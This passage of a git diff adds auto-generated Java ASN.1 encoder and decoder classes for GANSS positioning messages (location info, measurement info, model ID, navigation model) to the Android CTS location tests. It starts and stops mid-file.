+ this.ganssTODm_ = (GANSSTODm) value;
+ }
+ public GANSSTODm setGanssTODmToNewInstance() {
+ ganssTODm_ = new GANSSTODm();
+ return ganssTODm_;
+ }
+
+ private GANSSLocationInfo.ganssTODFracType ganssTODFrac_;
+ public GANSSLocationInfo.ganssTODFracType getGanssTODFrac() {
+ return ganssTODFrac_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSLocationInfo.ganssTODFracType
+ */
+ public void setGanssTODFrac(Asn1Object value) {
+ this.ganssTODFrac_ = (GANSSLocationInfo.ganssTODFracType) value;
+ }
+ public GANSSLocationInfo.ganssTODFracType setGanssTODFracToNewInstance() {
+ ganssTODFrac_ = new GANSSLocationInfo.ganssTODFracType();
+ return ganssTODFrac_;
+ }
+
+ private GANSSTODUncertainty ganssTODUncertainty_;
+ public GANSSTODUncertainty getGanssTODUncertainty() {
+ return ganssTODUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTODUncertainty
+ */
+ public void setGanssTODUncertainty(Asn1Object value) {
+ this.ganssTODUncertainty_ = (GANSSTODUncertainty) value;
+ }
+ public GANSSTODUncertainty setGanssTODUncertaintyToNewInstance() {
+ ganssTODUncertainty_ = new GANSSTODUncertainty();
+ return ganssTODUncertainty_;
+ }
+
+ private GANSSLocationInfo.ganssTimeIDType ganssTimeID_;
+ public GANSSLocationInfo.ganssTimeIDType getGanssTimeID() {
+ return ganssTimeID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSLocationInfo.ganssTimeIDType
+ */
+ public void setGanssTimeID(Asn1Object value) {
+ this.ganssTimeID_ = (GANSSLocationInfo.ganssTimeIDType) value;
+ }
+ public GANSSLocationInfo.ganssTimeIDType setGanssTimeIDToNewInstance() {
+ ganssTimeID_ = new GANSSLocationInfo.ganssTimeIDType();
+ return ganssTimeID_;
+ }
+
+ private FixType fixType_;
+ public FixType getFixType() {
+ return fixType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FixType
+ */
+ public void setFixType(Asn1Object value) {
+ this.fixType_ = (FixType) value;
+ }
+ public FixType setFixTypeToNewInstance() {
+ fixType_ = new FixType();
+ return fixType_;
+ }
+
+ private PositionData posData_;
+ public PositionData getPosData() {
+ return posData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionData
+ */
+ public void setPosData(Asn1Object value) {
+ this.posData_ = (PositionData) value;
+ }
+ public PositionData setPosDataToNewInstance() {
+ posData_ = new PositionData();
+ return posData_;
+ }
+
+ private GANSSLocationInfo.stationaryIndicationType stationaryIndication_;
+ public GANSSLocationInfo.stationaryIndicationType getStationaryIndication() {
+ return stationaryIndication_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSLocationInfo.stationaryIndicationType
+ */
+ public void setStationaryIndication(Asn1Object value) {
+ this.stationaryIndication_ = (GANSSLocationInfo.stationaryIndicationType) value;
+ }
+ public GANSSLocationInfo.stationaryIndicationType setStationaryIndicationToNewInstance() {
+ stationaryIndication_ = new GANSSLocationInfo.stationaryIndicationType();
+ return stationaryIndication_;
+ }
+
+ private Ext_GeographicalInformation posEstimate_;
+ public Ext_GeographicalInformation getPosEstimate() {
+ return posEstimate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ext_GeographicalInformation
+ */
+ public void setPosEstimate(Asn1Object value) {
+ this.posEstimate_ = (Ext_GeographicalInformation) value;
+ }
+ public Ext_GeographicalInformation setPosEstimateToNewInstance() {
+ posEstimate_ = new Ext_GeographicalInformation();
+ return posEstimate_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceFrame() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceFrame();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceFrameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceFrame.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceFrame : "
+ + getReferenceFrame().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODm() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODm();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODmToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTODm.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODm : "
+ + getGanssTODm().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODFrac() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODFrac();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODFracToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSLocationInfo.ganssTODFracType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODFrac : "
+ + getGanssTODFrac().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTODUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODUncertainty : "
+ + getGanssTODUncertainty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSLocationInfo.ganssTimeIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeID : "
+ + getGanssTimeID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getFixType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFixType();
+ }
+
+ @Override public void setToNewInstance() {
+ setFixTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FixType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "fixType : "
+ + getFixType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosData();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posData : "
+ + getPosData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getStationaryIndication() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStationaryIndication();
+ }
+
+ @Override public void setToNewInstance() {
+ setStationaryIndicationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSLocationInfo.stationaryIndicationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stationaryIndication : "
+ + getStationaryIndication().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosEstimate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosEstimate();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosEstimateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ext_GeographicalInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posEstimate : "
+ + getPosEstimate().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODFracType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTODFracType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODFracType() {
+ super();
+ setValueRange("0", "16384");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODFracType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODFracType != null) {
+ return ImmutableList.of(TAG_ganssTODFracType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODFracType from encoded stream.
+ */
+ public static ganssTODFracType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODFracType result = new ganssTODFracType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODFracType from encoded stream.
+ */
+ public static ganssTODFracType fromPerAligned(byte[] encodedBytes) {
+ ganssTODFracType result = new ganssTODFracType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODFracType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeIDType != null) {
+ return ImmutableList.of(TAG_ganssTimeIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stationaryIndicationType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stationaryIndicationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stationaryIndicationType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stationaryIndicationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stationaryIndicationType != null) {
+ return ImmutableList.of(TAG_stationaryIndicationType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stationaryIndicationType from encoded stream.
+ */
+ public static stationaryIndicationType fromPerUnaligned(byte[] encodedBytes) {
+ stationaryIndicationType result = new stationaryIndicationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stationaryIndicationType from encoded stream.
+ */
+ public static stationaryIndicationType fromPerAligned(byte[] encodedBytes) {
+ stationaryIndicationType result = new stationaryIndicationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stationaryIndicationType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSLocationInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
new file mode 100755
index 0000000..09b1973
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSMeasureInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSMeasureInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSMeasureInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSMeasureInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSMeasureInfo != null) {
+ return ImmutableList.of(TAG_GANSSMeasureInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSMeasureInfo from encoded stream.
+ */
+ public static GANSSMeasureInfo fromPerUnaligned(byte[] encodedBytes) {
+ GANSSMeasureInfo result = new GANSSMeasureInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSMeasureInfo from encoded stream.
+ */
+ public static GANSSMeasureInfo fromPerAligned(byte[] encodedBytes) {
+ GANSSMeasureInfo result = new GANSSMeasureInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfGANSS_MsrSetElement ganssMsrSetList_;
+ public SeqOfGANSS_MsrSetElement getGanssMsrSetList() {
+ return ganssMsrSetList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSS_MsrSetElement
+ */
+ public void setGanssMsrSetList(Asn1Object value) {
+ this.ganssMsrSetList_ = (SeqOfGANSS_MsrSetElement) value;
+ }
+ public SeqOfGANSS_MsrSetElement setGanssMsrSetListToNewInstance() {
+ ganssMsrSetList_ = new SeqOfGANSS_MsrSetElement();
+ return ganssMsrSetList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssMsrSetList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssMsrSetList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssMsrSetListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSS_MsrSetElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssMsrSetList : "
+ + getGanssMsrSetList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSMeasureInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java
new file mode 100755
index 0000000..5189a2c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSModelID extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSModelID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSModelID() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSModelID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSModelID != null) {
+ return ImmutableList.of(TAG_GANSSModelID);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSModelID from encoded stream.
+ */
+ public static GANSSModelID fromPerUnaligned(byte[] encodedBytes) {
+ GANSSModelID result = new GANSSModelID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSModelID from encoded stream.
+ */
+ public static GANSSModelID fromPerAligned(byte[] encodedBytes) {
+ GANSSModelID result = new GANSSModelID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSModelID = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java
new file mode 100755
index 0000000..7819a79
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSNavModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSNavModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSNavModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSNavModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSNavModel != null) {
+ return ImmutableList.of(TAG_GANSSNavModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSNavModel from encoded stream.
+ */
+ public static GANSSNavModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSNavModel result = new GANSSNavModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
